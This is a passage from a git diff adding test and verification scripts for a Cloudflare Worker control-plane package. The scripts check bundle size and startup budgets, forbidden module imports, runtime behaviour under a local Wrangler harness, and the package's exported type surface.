+    const config = join(outputDirectory, 'wrangler.json');
+    const metafile = join(outputDirectory, 'metafile.json');
+    const bundleDirectory = join(outputDirectory, 'bundle');
+    const workerBundle = join(outputDirectory, 'worker.bundle');
+    await writeFile(
+      config,
+      `${JSON.stringify(
+        {
+          name: 'fleet-control-packed-bundle',
+          main: '../worker.ts',
+          compatibility_date: variant.date,
+          compatibility_flags: variant.flags,
+        },
+        null,
+        2,
+      )}\n`,
+    );
+    const started = performance.now();
+    const log = execFileSync(
+      join(packageRoot, 'node_modules/.bin/wrangler'),
+      [
+        'deploy',
+        '--config',
+        config,
+        '--dry-run',
+        '--outdir',
+        bundleDirectory,
+        '--metafile',
+        metafile,
+        '--outfile',
+        workerBundle,
+      ],
+      { cwd: consumerDirectory, encoding: 'utf8', stdio: 'pipe' },
+    );
+    await writeFile(join(outputDirectory, 'dry-run.log'), log);
+    const metadata = JSON.parse(await readFile(metafile, 'utf8'));
+    assertControlPlaneBundleGraph(metadata);
+    const entries = Object.keys(metadata.inputs).filter((input) =>
+      input.endsWith('/fleet-control/dist/cloudflare-control-plane.js'),
+    );
+    assert.equal(
+      entries.length,
+      1,
+      'bundle must reach the curated installed entry',
+    );
+    assert.equal(
+      await realpath(resolve(outputDirectory, entries[0])),
+      installedEntry,
+      'bundle must reach the same installed Fleet package as the consumer',
+    );
+    const bytes = await readFile(join(bundleDirectory, 'worker.js'));
+    const gzipBytes = gzipSync(bytes).length;
+    assert.ok(
+      bytes.length <= bundleBudget.rawBytes,
+      `${variant.name} raw bundle exceeds the regression budget`,
+    );
+    assert.ok(
+      gzipBytes <= bundleBudget.gzipBytes,
+      `${variant.name} gzip bundle exceeds the regression budget`,
+    );
+    const profilePath = join(outputDirectory, 'startup.cpuprofile');
+    const startupLog = execFileSync(
+      join(packageRoot, 'node_modules/.bin/wrangler'),
+      ['check', 'startup', '--worker', workerBundle, '--outfile', profilePath],
+      { cwd: consumerDirectory, encoding: 'utf8', stdio: 'pipe' },
+    );
+    await writeFile(join(outputDirectory, 'startup.log'), startupLog);
+    const profile = JSON.parse(await readFile(profilePath, 'utf8'));
+    const nodes = new Map(
+      profile.nodes.map((node) => [node.id, node.callFrame.functionName]),
+    );
+    const activeMicroseconds = profile.timeDeltas.reduce(
+      (sum, delta, index) =>
+        sum + (nodes.get(profile.samples[index]) === '(idle)' ? 0 : delta),
+      0,
+    );
+    measurements.push({
+      ...variant,
+      rawBytes: bytes.length,
+      gzipBytes,
+      sha256: createHash('sha256').update(bytes).digest('hex'),
+      buildAndLocalProfileWallMs: performance.now() - started,
+      localStartupProfileWindowMs:
+        (profile.endTime - profile.startTime) / 1_000,
+      localStartupSampledActiveMs: activeMicroseconds / 1_000,
+    });
+  }
+
+  const baseline = measurements[0];
+  for (const measurement of measurements) {
+    measurement.rawDeltaBytes = measurement.rawBytes - baseline.rawBytes;
+    measurement.gzipDeltaBytes = measurement.gzipBytes - baseline.gzipBytes;
+    measurement.rawDeltaPercent =
+      (100 * measurement.rawDeltaBytes) / baseline.rawBytes;
+    measurement.gzipDeltaPercent =
+      (100 * measurement.gzipDeltaBytes) / baseline.gzipBytes;
+  }
+  const report = {
+    measurement:
+      'Unminified namespace-import Worker; gzip uses Node defaults. Startup CPU samples come from Wrangler local profiling, not Cloudflare deployment acceptance.',
+    bundleBudget,
+    measurements,
+  };
+  await writeFile(
+    join(directory, 'measurements.json'),
+    `${JSON.stringify(report, null, 2)}\n`,
+  );
+  process.stdout.write(
+    `fleet-control packed bundle: ${JSON.stringify(report)}\n`,
+  );
+  return report;
+}
diff --git a/packages/fleet-control/scripts/control-plane-packed-bundle.test.mjs b/packages/fleet-control/scripts/control-plane-packed-bundle.test.mjs
new file mode 100644
index 00000000..4b11a209
--- /dev/null
+++ b/packages/fleet-control/scripts/control-plane-packed-bundle.test.mjs
@@ -0,0 +1,84 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import assert from 'node:assert/strict';
+import { test } from 'node:test';
+import { assertControlPlaneBundleGraph } from './control-plane-packed-bundle.mjs';
+
+function metadata(path, imports = []) {
+  return {
+    inputs: { [path]: { imports } },
+    outputs: { 'worker.js': { imports: [] } },
+  };
+}
+
+test('rejects a forbidden import even when esbuild omits it from the emitted Worker', () => {
+  assert.throws(
+    () =>
+      assertControlPlaneBundleGraph(
+        metadata('dependency.js', [
+          {
+            path: 'node:fs/promises',
+            kind: 'import-statement',
+            external: true,
+          },
+        ]),
+      ),
+    /forbidden core module: node:fs\/promises/,
+  );
+});
+
+test('rejects prefix-only builtins and unrecognized node names in emitted imports', () => {
+  for (const path of [
+    'node:test',
+    'node:test/reporters',
+    'node:sea',
+    'node:sqlite',
+    'node:future',
+  ]) {
+    const graph = metadata('dependency.js');
+    graph.outputs['worker.js'].imports.push({ path, external: true });
+    assert.throws(
+      () => assertControlPlaneBundleGraph(graph),
+      /forbidden core module/,
+    );
+  }
+});
+
+test('rejects host adapters independent of their remaining emitted imports', () => {
+  for (const name of [
+    'export-store',
+    'wrangler-loop-backend',
+    'wrangler-plain-worker-provisioning-api',
+    'wrangler-runner',
+  ]) {
+    assert.throws(
+      () =>
+        assertControlPlaneBundleGraph(
+          metadata(
+            `../../node_modules/.pnpm/fleet/node_modules/@proofoftech/fleet-control/dist/${name}.js`,
+          ),
+        ),
+      /Worker reaches host module/,
+    );
+  }
+});
+
+test('admits supported core imports without confusing SDK paths for Node modules', () => {
+  assertControlPlaneBundleGraph(
+    metadata(
+      '../node_modules/cloudflare/internal/utils/path.mjs',
+      [
+        'crypto',
+        'node:crypto',
+        'async_hooks',
+        'node:async_hooks',
+        '<runtime>',
+      ].map((path) => ({ path, external: true })),
+    ),
+  );
+  assertControlPlaneBundleGraph(
+    metadata(
+      '../node_modules/@proofoftech/fleet-control/dist/r2-export-store.js',
+    ),
+  );
+});
diff --git a/packages/fleet-control/scripts/control-plane-packed-runtime.mjs b/packages/fleet-control/scripts/control-plane-packed-runtime.mjs
new file mode 100644
index 00000000..295c9ea4
--- /dev/null
+++ b/packages/fleet-control/scripts/control-plane-packed-runtime.mjs
@@ -0,0 +1,220 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import assert from 'node:assert/strict';
+import { execFileSync } from 'node:child_process';
+import { copyFile, realpath, writeFile } from 'node:fs/promises';
+import { createRequire } from 'node:module';
+import { isAbsolute, join, relative } from 'node:path';
+import { createTestHarness } from 'wrangler';
+
+export async function verifyControlPlanePackedRuntime({
+  consumerDirectory,
+  packageRoot,
+}) {
+  const fixture = join(consumerDirectory, 'control-plane-packed-worker.ts');
+  await copyFile(
+    join(packageRoot, 'scripts/control-plane-packed-worker.ts'),
+    fixture,
+  );
+  const require = createRequire(join(consumerDirectory, 'package.json'));
+  const entry = await realpath(
+    require.resolve('@proofoftech/fleet-control/cloudflare-control-plane'),
+  );
+  const relativeEntry = relative(await realpath(consumerDirectory), entry);
+  assert.ok(
+    !relativeEntry.startsWith('..') && !isAbsolute(relativeEntry),
+    'Worker entry must resolve inside the installed consumer',
+  );
+  const packageRequire = createRequire(join(packageRoot, 'package.json'));
+  await copyFile(
+    packageRequire.resolve('@types/node/async_hooks.d.ts'),
+    join(consumerDirectory, 'packed-async-hooks.d.ts'),
+  );
+  await writeFile(
+    join(consumerDirectory, 'tsconfig.worker-runtime.json'),
+    JSON.stringify(
+      {
+        compilerOptions: {
+          target: 'ES2022',
+          lib: ['ES2022'],
+          module: 'NodeNext',
+          moduleResolution: 'NodeNext',
+          strict: true,
+          noEmit: true,
+          skipLibCheck: false,
+          types: ['@cloudflare/workers-types'],
+        },
+        files: ['control-plane-packed-worker.ts', 'packed-async-hooks.d.ts'],
+      },
+      null,
+      2,
+    ),
+  );
+  execFileSync(
+    join(packageRoot, 'node_modules/.bin/tsc'),
+    ['-p', 'tsconfig.worker-runtime.json'],
+    { cwd: consumerDirectory, encoding: 'utf8', stdio: 'inherit' },
+  );
+  const server = createTestHarness({
+    root: consumerDirectory,
+    workers: [
+      {
+        config: {
+          name: 'fleet-control-packed-runtime',
+          main: fixture,
+          compatibility_date: '2026-08-06',
+          d1_databases: ['FLEET_DB', 'QUOTA_DB', 'FIXTURE_DB', 'TENANT_DB'].map(
+            (binding, index) => ({
+              binding,
+              database_name: `packed-${binding.toLowerCase()}`,
+              database_id: `00000000-0000-4000-8000-${String(index + 1).padStart(12, '0')}`,
+            }),
+          ),
+          r2_buckets: [{ binding: 'EXPORTS', bucket_name: 'packed-exports' }],
+        },
+      },
+    ],
+  });
+  const invocations = new Set();
+  const evidence = {
+    compatibilityDate: '2026-08-06',
+    compatibilityFlags: [],
+    entry: relativeEntry,
+  };
+  try {
+    await server.listen();
+    const worker = server.getWorker();
+    async function probe(action, token) {
+      const response = await worker.fetch('/packed-control-plane', {
+        method: 'POST',
+        headers: { 'content-type': 'application/json' },
+        body: JSON.stringify({
+          action,
+          ...(token === undefined ? {} : { token }),
+        }),
+        signal: AbortSignal.timeout(30_000),
+      });
+      const envelope = await response.json();
+      assert.equal(response.status, 200, JSON.stringify(envelope));
+      assert.equal(invocations.has(envelope.invocationId), false);
+      invocations.add(envelope.invocationId);
+      return envelope.result;
+    }
+    const schema = await probe('schema');
+    assert.deepEqual(schema.rows, [{ value: 'native-d1' }]);
+    assert.deepEqual(schema.batch, [[{ value: 'native-d1' }]]);
+    assert.deepEqual(schema.records, [null, null]);
+    assert.equal(schema.requests, 0);
+    evidence.schema = true;
+
+    const lease = await probe('lease-winner');
+    assert.match(JSON.stringify(lease.contender), /already being modified/);
+    assert.equal(lease.beforeRelease, 0);
+    assert.equal(lease.record.phase, 'cleanup-advancing');
+    assert.equal(lease.cleanup.status, 'pending');
+    let token = lease.cleanup.token;
+    assert.equal(lease.record.cleanupIntent.revision, token.revision);
+    const future = await probe('cleanup', {
+      ...token,
+      revision: token.revision + 1,
+    });
+    assert.match(JSON.stringify(future.error), /future|ahead/i);
+    assert.equal(future.requests, 0);
+    const malformed = await probe('cleanup', { invalid: true });
+    assert.ok(malformed.error);
+    assert.equal(malformed.requests, 0);
+    const old = token;
+    let terminal;
+    let calls = 0;
+    for (; calls < 24; calls += 1) {
+      const advanced = await probe('cleanup', token);
+      assert.equal(advanced.error, undefined, JSON.stringify(advanced));
+      assert.ok(advanced.outcome);
+      if (advanced.outcome.status === 'complete') {
+        assert.equal(advanced.record, undefined);
+        assert.deepEqual(advanced.databases, []);
+        terminal = advanced.outcome;
+        break;
+      }
+      assert.equal(advanced.outcome.status, 'pending');
+      assert.ok(advanced.outcome.token.revision > token.revision);
+      token = advanced.outcome.token;
+      if (calls === 0) {
+        const stale = await probe('cleanup', old);
+        assert.deepEqual(stale.outcome.token, token);
+        assert.equal(stale.requests, 0);
+      }
+    }
+    assert.ok(terminal, 'bounded cleanup did not reach its receipt');
+    const replay = await probe('cleanup', terminal.token);
+    assert.deepEqual(replay.outcome.receipt, terminal.receipt);
+    assert.equal(replay.requests, 0);
+    evidence.lifecycle = {
+      continuationFetches: calls + 1,
+      receipt: terminal.receipt,
+    };
+
+    const quota = await probe('quota');
+    assert.equal(quota.acquired, false);
+    assert.equal(quota.error.name, 'AbortError');
+    assert.equal(quota.count, 1100);
+    assert.equal(quota.countAfterFreshInstance, 1100);
+    assert.ok(quota.completedBlockedBatches > 0);
+    evidence.quota = quota;
+
+    const streamed = await probe('r2-write');
+    assert.equal(streamed.error, undefined);
+    assert.equal(streamed.size, 1_048_576);
+    assert.equal(streamed.bytesEqual, true);
+    assert.deepEqual(streamed.readback, streamed.expected);
+    assert.equal(streamed.result.sha256, streamed.expected.sha256);
+    assert.equal(streamed.result.size, streamed.expected.size);
+    const receipt = await probe('receipt');
+    const receiptReplay = await probe('receipt');
+    assert.equal(receipt.error, undefined);
+    assert.equal(receiptReplay.error, undefined);
+    assert.equal(receipt.result.size, receipt.expected.size);
+    assert.equal(receipt.result.sha256, receipt.expected.sha256);
+    assert.deepEqual(receiptReplay.result, receipt.result);
+    assert.equal(receiptReplay.objectCount, 1);
+    assert.deepEqual(receiptReplay.readback, receipt.expected);
+    const collision = await probe('receipt-mismatch');
+    assert.match(JSON.stringify(collision.error), /collision differs/);
+    assert.equal(collision.objectCount, 1);
+    assert.deepEqual(collision.readback, receipt.expected);
+    assert.equal(collision.bytesEqual, true);
+    evidence.r2 = {
+      size: streamed.size,
+      sha256: streamed.expected.sha256,
+      receipt: receipt.result,
+    };
+
+    for (const stale of [false, true]) {
+      const queued = await probe(stale ? 'queue-stale' : 'queue-live');
+      const b = `packed${stale ? 'stale' : 'live'}b`;
+      assert.equal(queued.queuedPhase, 'database-create-authorized');
+      assert.equal(queued.beforeRelease, 0);
+      const creates = queued.seen.filter(
+        (request) => request.method === 'POST' && request.name === b,
+      );
+      assert.equal(creates.length, stale ? 0 : 1);
+      for (const request of queued.seen)
+        assert.equal(request.context, request.name?.endsWith('a') ? 'A' : 'B');
+      assert.match(JSON.stringify(queued.aError), /packed A held-read failure/);
+      assert.match(
+        JSON.stringify(queued.bError),
+        stale
+          ? /lease is no longer owned/
+          : /packed B create reached transport/,
+      );
+      evidence[stale ? 'queuedStaleAuthority' : 'queuedContext'] = queued;
+    }
+    evidence.fetchInvocations = invocations.size;
+    process.stdout.write(
+      `fleet-control packed Worker runtime: ${JSON.stringify(evidence)}\n`,
+    );
+    return evidence;
+  } finally {
+    await server.close();
+  }
+}
diff --git a/packages/fleet-control/scripts/control-plane-packed-surface.mjs b/packages/fleet-control/scripts/control-plane-packed-surface.mjs
new file mode 100644
index 00000000..dba0376d
--- /dev/null
+++ b/packages/fleet-control/scripts/control-plane-packed-surface.mjs
@@ -0,0 +1,629 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import assert from 'node:assert/strict';
+import { execFileSync } from 'node:child_process';
+import { createHash } from 'node:crypto';
+import { readFile, realpath, writeFile } from 'node:fs/promises';
+import { createRequire } from 'node:module';
+import { dirname, join, relative, resolve, sep } from 'node:path';
+
+const PACKAGE_NAME = '@proofoftech/fleet-control';
+const ENTRY_NAME = `${PACKAGE_NAME}/cloudflare-control-plane`;
+
+const VALUE_NAMES = [
+  'ActiveRouteAttestationError',
+  'CleanupAdvanceCapabilityError',
+  'CleanupAdvanceRestartError',
+  'CleanupAdvanceTokenDeploymentError',
+  'CleanupAdvanceTokenError',
+  'CleanupAdvanceTokenFutureError',
+  'CleanupAdvanceTokenOperationError',
+  'D1CloudflareApiRateCoordinator',
+  'D1FleetStateDatabase',
+  'DecommissionAdvanceCapabilityError',
+  'DecommissionAdvanceRestartError',
+  'DecommissionAdvanceTokenDeploymentError',
+  'DecommissionAdvanceTokenError',
+  'DecommissionAdvanceTokenFutureError',
+  'DecommissionAdvanceTokenOperationError',
+  'FleetAuditAdvanceCapabilityError',
+  'FleetInventoryAdvanceCapabilityError',
+  'FleetInventoryFindingValueError',
+  'FleetInventoryRunTokenError',
+  'FleetInventoryRunTokenFutureError',
+  'FleetInventoryRunTokenOperationError',
+  'FleetInventoryStateError',
+  'FleetMigrationAdvanceCapabilityError',
+  'FleetOperationStateError',
+  'FleetOperationStoreCapabilityError',
+  'FleetOperationTokenError',
+  'FleetOperationTokenFutureError',
+  'FleetOperationTokenKindError',
+  'FleetOperationTokenOperationError',
+  'ProvisioningError',
+  'R2DatabaseExportStore',
+  'WorkerDeploymentError',
+  'createCloudflareControlPlane',
+  'deploymentSpecDigest',
+  'generateDeploymentSecrets',
+];
+
+const TYPE_NAMES = [
+  'ActiveRouteAttestation',
+  'ApplicationBindingTopology',
+  'ApplicationR2Binding',
+  'ApplicationR2Resource',
+  'AttestConvergedActiveRouteOptions',
+  'BackendSwitchApplicationR2Progress',
+  'BackendSwitchCandidateSnapshot',
+  'BackendSwitchDecommissionRelease',
+  'BackendSwitchDecommissionRouteTarget',
+  'BackendSwitchDecommissionSnapshot',
+  'BackendSwitchIntent',
+  'BackendSwitchSubphase',
+  'BridgeMutationPlan',
+  'BridgeSnapshot',
+  'CleanupAdvanceAction',
+  'CleanupAdvanceCapability',
+  'CleanupAdvanceIntent',
+  'CleanupAdvanceResult',
+  'CleanupAdvanceState',
+  'CleanupAdvanceToken',
+  'CleanupAttachmentProgress',
+  'CleanupAttachmentPurpose',
+  'CleanupAttachmentScan',
+  'CleanupAuthority',
+  'CleanupReceiptEvidence',
+  'CleanupTerminalReceipt',
+  'CloudflareAdvanceCleanupDeploymentOptions',
+  'CloudflareAdvanceDecommissionDeploymentOptions',
+  'CloudflareAdvanceFleetAuditOptions',
+  'CloudflareAdvanceFleetInventoryOptions',
+  'CloudflareAdvanceFleetMigrationOptions',
+  'CloudflareApiRateCoordinator',
+  'CloudflareControlPlane',
+  'CloudflareControlPlaneOptions',
+  'CloudflareDeploymentSpec',
+  'CloudflareFleetInventoryAdvanceAction',
+  'CloudflareFleetInventoryOptions',
+  'CloudflareFleetMigrationItemsPage',
+  'CloudflareFleetOperationPageOptions',
+  'CloudflareProvisionDeploymentOptions',
+  'D1CloudflareApiRateCoordinatorOptions',
+  'D1Migration',
+  'DatabaseExport',
+  'DatabaseExportIntegrity',
+  'DatabaseExportReceiptIdentity',
+  'DecommissionAdvanceAction',
+  'DecommissionAdvanceCapability',
+  'DecommissionAdvanceIntent',
+  'DecommissionAdvanceResult',
+  'DecommissionAdvanceToken',
+  'DecommissionAttachmentProgress',
+  'DecommissionAttachmentPurpose',
+  'DecommissionAttachmentScanEvidence',
+  'DecommissionBlockedAttachment',
+  'DecommissionIntentCommon',
+  'DecommissionOperationIdentity',
+  'DecommissionOperationMode',
+  'DecommissionRecordIdentity',
+  'DecommissionResult',
+  'DeploymentApplicationBindings',
+  'DeploymentEgressPolicy',
+  'DeploymentSecrets',
+  'DeploymentSpec',
+  'DigestStreamConstructor',
+  'DriftFinding',
+  'DurableDatabaseExportStore',
+  'DurableObjectBindingInventory',
+  'DurableObjectMigration',
+  'ExternalMigrationIntent',
+  'ExternalMigrationSubphase',
+  'ExternalPlatformResources',
+  'ExternalPlatformTargetDescription',
+  'ExternalReleaseSnapshot',
+  'ExternalReleaseTopology',
+  'FixedLengthStreamConstructor',
+  'FleetAuditAdvanceAction',
+  'FleetAuditAdvanceCapability',
+  'FleetAuditAdvanceResult',
+  'FleetAuditFindingsPage',
+  'FleetAuditResultRef',
+  'FleetAuditStage',
+  'FleetInventoryAdvanceCapability',
+  'FleetInventoryAdvanceResult',
+  'FleetInventoryDeployment',
+  'FleetInventoryFinding',
+  'FleetInventoryGenerationRef',
+  'FleetInventoryR2Jurisdiction',
+  'FleetInventoryRowKind',
+  'FleetInventoryRunToken',
+  'FleetMigrationAdvanceAction',
+  'FleetMigrationAdvanceResult',
+  'FleetMigrationItem',
+  'FleetMigrationPlanEntry',
+  'FleetMigrationResultRef',
+  'FleetMigrationStep',
+  'FleetOperationFailure',
+  'FleetOperationKind',
+  'FleetOperationToken',
+  'FleetRecord',
+  'FleetResourceInventory',
+  'FleetSettlementContext',
+  'FleetSettlementEntry',
+  'FleetSettlementHost',
+  'FleetStateDatabase',
+  'HostRoutingTarget',
+  'InitialExecutionFenceState',
+  'InvocationAuthorityCarrier',
+  'MaintenanceHealth',
+  'NormalDecommissionLifecyclePhase',
+  'ObservedActiveRoute',
+  'PlainBackendSnapshot',
+  'PlatformWorkerSnapshot',
+  'ProvisioningBackendKind',
+  'ProvisioningPhase',
+  'ProvisioningResult',
+  'R2DatabaseExportStoreOptions',
+  'R2DatabaseExportStoreStreamPrimitives',
+  'R2Jurisdiction',
+  'WorkerModule',
+  'WorkerZoneRoute',
+];
+
+const METHOD_NAMES = [
+  'abandonFleetAuditOperation',
+  'abandonFleetMigrationOperation',
+  'advanceCleanupDeployment',
+  'advanceDecommissionDeployment',
+  'advanceFleetAudit',
+  'advanceFleetInventory',
+  'advanceFleetMigration',
+  'getDeployment',
+  'latestFinalizedInventoryGeneration',
+  'provisionDeployment',
+  'pruneCleanupReceipts',
+  'pruneFleetOperations',
+  'pruneInventoryGenerations',
+  'readCleanupReceipt',
+  'readFleetAuditFindingsPage',
+  'readFleetInventoryGeneration',
+  'readFleetMigrationItemsPage',
+];
+
+const FORBIDDEN_TYPES = new Set([
+  'CloudflareProvisioningClient',
+  'CloudflareApiPlainWorkerBackend',
+  'PlainWorkerBackend',
+  'ProvisioningBackend',
+  'PlainWorkerProvisioningApi',
+  'BackendSwitchProvider',
+  'FinalizedOrdinaryStateProvider',
+  'FleetStateStore',
+  'PlatformPlaneStateStore',
+  'FleetStateLease',
+  'FleetInventoryProviderContext',
+  'FleetInventoryRunStore',
+  'FleetInventoryLease',
+  'FleetOperationStore',
+  'FleetOperationLease',
+  'ProcessLocalCloudflareApiRateCoordinator',
+  'WorkersForPlatformsBackend',
+  'WorkersForPlatformsBackendSwitchProvider',
+  'WranglerLoopBackend',
+  'FileSystemDatabaseExportStore',
+]);
+
+function inspectPublicTypes(ts, program, entryPath, installedRoot) {
+  const checker = program.getTypeChecker();
+  const entry = program.getSourceFile(entryPath);
+  assert.ok(
+    entry,
+    `installed declaration is absent from program: ${entryPath}`,
+  );
+  const exports = checker.getExportsOfModule(
+    checker.getSymbolAtLocation(entry),
+  );
+  assert.deepEqual(
+    exports.map((symbol) => symbol.name).sort(),
+    [...VALUE_NAMES, ...TYPE_NAMES].sort(),
+    'curated declaration export table differs',
+  );
+  const resolveSymbol = (symbol) =>
+    symbol?.flags & ts.SymbolFlags.Alias
+      ? checker.getAliasedSymbol(symbol)
+      : symbol;
+  const exported = new Set(exports.map(resolveSymbol));
+  const visitedSymbols = new Set();
+  const visitedTypes = new Set();
+  const reached = [];
+  const namedFlags =
+    ts.SymbolFlags.TypeAlias |
+    ts.SymbolFlags.Interface |
+    ts.SymbolFlags.Class |
+    ts.SymbolFlags.Enum;
+  const isLocal = (node) =>
+    node?.getSourceFile().fileName.startsWith(`${installedRoot}${sep}`);
+  const isPublic = (node) =>
+    !(node.name && ts.isPrivateIdentifier(node.name)) &&
+    !(
+      ts.getCombinedModifierFlags(node) &
+      (ts.ModifierFlags.Private | ts.ModifierFlags.Protected)
+    );
+
+  function followSymbol(candidate, trail) {
+    const symbol = resolveSymbol(candidate);
+    if (!symbol || visitedSymbols.has(symbol)) return;
+    const declarations = (symbol.declarations ?? []).filter(isLocal);
+    if (!declarations.length) return;
+    visitedSymbols.add(symbol);
+    if (symbol.flags & namedFlags) {
+      const declaration = declarations[0];
+      const file = declaration.getSourceFile();
+      const location = `${relative(installedRoot, file.fileName)}:${file.getLineAndCharacterOfPosition(declaration.getStart()).line + 1}`;
+      assert.ok(
+        !FORBIDDEN_TYPES.has(symbol.name),
+        `forbidden public capability ${symbol.name} at ${location}: ${trail.join(' -> ')}`,
+      );
+      assert.ok(
+        exported.has(symbol),
+        `missing public type export ${symbol.name} at ${location}: ${trail.join(' -> ')}`,
+      );
+      reached.push({ name: symbol.name, location, trail });
+    }
+    for (const declaration of declarations) {
+      followDeclaration(declaration, [...trail, symbol.name]);
+    }
+  }
+
+  function followTypeNode(node, trail) {
+    if (!node) return;
+    const reference = ts.isTypeReferenceNode(node)
+      ? node.typeName
+      : ts.isTypeQueryNode(node)
+        ? node.exprName
+        : ts.isExpressionWithTypeArguments(node)
+          ? node.expression
+          : ts.isImportTypeNode(node)
+            ? node.qualifier
+            : undefined;
+    if (reference) {
+      followSymbol(checker.getSymbolAtLocation(reference), [
+        ...trail,
+        reference.getText(),
+      ]);
+    }
+    ts.forEachChild(node, (child) => followTypeNode(child, trail));
+  }
+
+  function followSignature(signature, trail) {
+    if (!signature) return;
+    for (const parameter of [
+      ...signature.parameters,
+      ...(signature.thisParameter ? [signature.thisParameter] : []),
+    ]) {
+      const declaration =
+        parameter.valueDeclaration ?? parameter.declarations?.[0];
+      if (declaration) {
+        followType(checker.getTypeOfSymbolAtLocation(parameter, declaration), [
+          ...trail,
+          `parameter ${parameter.name}`,
+        ]);
+      }
+    }
+    followType(checker.getReturnTypeOfSignature(signature), [
+      ...trail,
+      'return',
+    ]);
+    followType(checker.getTypePredicateOfSignature(signature)?.type, trail);
+  }
+
+  function followType(type, trail) {
+    if (!type || visitedTypes.has(type)) return;
+    visitedTypes.add(type);
+    followSymbol(type.aliasSymbol, trail);
+    const symbol = type.getSymbol();
+    if (symbol?.flags & namedFlags) followSymbol(symbol, trail);
+    for (const argument of type.aliasTypeArguments ?? [])
+      followType(argument, trail);
+    if (type.flags & (ts.TypeFlags.Union | ts.TypeFlags.Intersection)) {
+      for (const item of type.types) followType(item, trail);
+    }
+    if (type.flags & ts.TypeFlags.TypeParameter) {
+      followType(checker.getBaseConstraintOfType(type), trail);
+    }
+    if (type.flags & ts.TypeFlags.IndexedAccess) {
+      followType(type.objectType, trail);
+      followType(type.indexType, trail);
+    }
+    if (!(type.flags & ts.TypeFlags.Object)) return;
+    if (type.objectFlags & ts.ObjectFlags.Reference) {
+      for (const argument of checker.getTypeArguments(type))
+        followType(argument, trail);
+    }
+    if (
+      !symbol?.declarations?.some(isLocal) &&
+      !type.aliasSymbol?.declarations?.some(isLocal)
+    )
+      return;
+    for (const signature of [
+      ...type.getCallSignatures(),
+      ...type.getConstructSignatures(),
+    ]) {
+      if (isLocal(signature.declaration)) followSignature(signature, trail);
+    }
+    for (const property of checker.getPropertiesOfType(type)) {
+      const declaration = property.declarations?.find(
+        (node) => isLocal(node) && isPublic(node),
+      );
+      if (declaration) {
+        followType(checker.getTypeOfSymbolAtLocation(property, declaration), [
+          ...trail,
+          `property ${property.name}`,
+        ]);
+      }
+    }
+    for (const index of checker.getIndexInfosOfType(type))
+      followType(index.type, trail);
+    if (type.objectFlags & ts.ObjectFlags.ClassOrInterface) {
+      for (const base of checker.getBaseTypes(type) ?? [])
+        followType(base, trail);
+    }
+  }
+
+  function followDeclaration(declaration, trail) {
+    if (!ts.isParameter(declaration) && !isPublic(declaration)) return;
+    for (const parameter of declaration.typeParameters ?? []) {
+      followTypeNode(parameter.constraint, trail);
+      followTypeNode(parameter.default, trail);
+    }
+    for (const heritage of declaration.heritageClauses ?? []) {
+      for (const type of heritage.types) followTypeNode(type, trail);
+    }
+    if (
+      ts.isClassDeclaration(declaration) ||
+      ts.isInterfaceDeclaration(declaration)
+    ) {
+      for (const member of declaration.members) {
+        followDeclaration(member, [
+          ...trail,
+          member.name?.getText() ?? ts.SyntaxKind[member.kind],
+        ]);
+      }
+      return;
+    }
+    if (ts.isTypeAliasDeclaration(declaration)) {
+      followTypeNode(declaration.type, trail);
+      followType(checker.getTypeFromTypeNode(declaration.type), trail);
+      return;
+    }
+    followTypeNode(declaration.type, trail);
+    if (
+      ts.isFunctionLike(declaration) ||
+      ts.isCallSignatureDeclaration(declaration) ||
+      ts.isConstructSignatureDeclaration(declaration)
+    ) {
+      for (const parameter of declaration.parameters)
+        followDeclaration(parameter, trail);
+      followSignature(checker.getSignatureFromDeclaration(declaration), trail);
+      return;
+    }
+    if (declaration.name) {
+      const symbol = checker.getSymbolAtLocation(declaration.name);
+      if (symbol)
+        followType(
+          checker.getTypeOfSymbolAtLocation(symbol, declaration),
+          trail,
+        );
+    }
+  }
+
+  for (const symbol of exports) followSymbol(symbol, [`export ${symbol.name}`]);
+  for (const name of TYPE_NAMES) {
+    assert.ok(
+      resolveSymbol(exports.find((symbol) => symbol.name === name)).flags &
+        ts.SymbolFlags.Type,
+      `${name} must be a type export`,
+    );
+  }
+  return reached.sort((left, right) => left.name.localeCompare(right.name));
+}
+
+function workerProgram() {
+  return `import { ${VALUE_NAMES.join(', ')} } from '${ENTRY_NAME}';
+import type { ${TYPE_NAMES.join(', ')} } from '${ENTRY_NAME}';
+import type { D1Database, R2Bucket } from '@cloudflare/workers-types';
+export type PackedControlPlaneTypes = [${TYPE_NAMES.join(', ')}];
+void [${VALUE_NAMES.join(', ')}];
+declare const fleetDatabase: D1Database;
+declare const quotaDatabase: D1Database;
+declare const bucket: R2Bucket;
+const options: CloudflareControlPlaneOptions = {
+  accountId: 'packed-account', apiToken: 'inert-token',
+  fleetDatabase, quotaDatabase, quotaScope: 'packed-quota',
+  databaseExports: {
+    bucket, bucketName: 'packed-exports',
+    streams: { DigestStream: crypto.DigestStream, FixedLengthStream },
+    randomUUID: () => crypto.randomUUID(),
+  },
+};
+const plane: CloudflareControlPlane = createCloudflareControlPlane(options);
+type ExpectedMethods = ${METHOD_NAMES.map((name) => `'${name}'`).join(' | ')};
+const noMissingMethods: Exclude<ExpectedMethods, keyof CloudflareControlPlane> extends never ? true : false = true;
+const noExtraMethods: Exclude<keyof CloudflareControlPlane, ExpectedMethods> extends never ? true : false = true;
+void [plane, noMissingMethods, noExtraMethods];
+`;
+}
+
+function runtimeProgram(runtimeEntry) {
+  return `import assert from 'node:assert/strict';
+import { realpath } from 'node:fs/promises';
+import { fileURLToPath } from 'node:url';
+import * as surface from '${ENTRY_NAME}';
+assert.equal(await realpath(fileURLToPath(import.meta.resolve('${ENTRY_NAME}'))), ${JSON.stringify(runtimeEntry)});
+assert.deepEqual(Object.keys(surface).sort(), ${JSON.stringify(VALUE_NAMES)});
+for (const name of ${JSON.stringify(VALUE_NAMES)}) assert.equal(typeof surface[name], 'function', name);
+for (const name of ${JSON.stringify(VALUE_NAMES.filter((name) => name.endsWith('Error')))}) {
+  assert.ok(surface[name].prototype instanceof Error, name);
+  assert.deepEqual(Reflect.ownKeys(surface[name].prototype), ['constructor'], name);
+}
+for (const [name, methods] of Object.entries({
+  D1FleetStateDatabase: ['batch', 'constructor', 'execute', 'query'],
+  D1CloudflareApiRateCoordinator: ['acquire', 'constructor'],
+  R2DatabaseExportStore: ['constructor', 'write'],
+})) assert.deepEqual(Reflect.ownKeys(surface[name].prototype).sort(), methods, name);
+const unexpected = () => { throw new Error('packed surface shape probe performed I/O'); };
+const database = { prepare: unexpected, batch: unexpected };
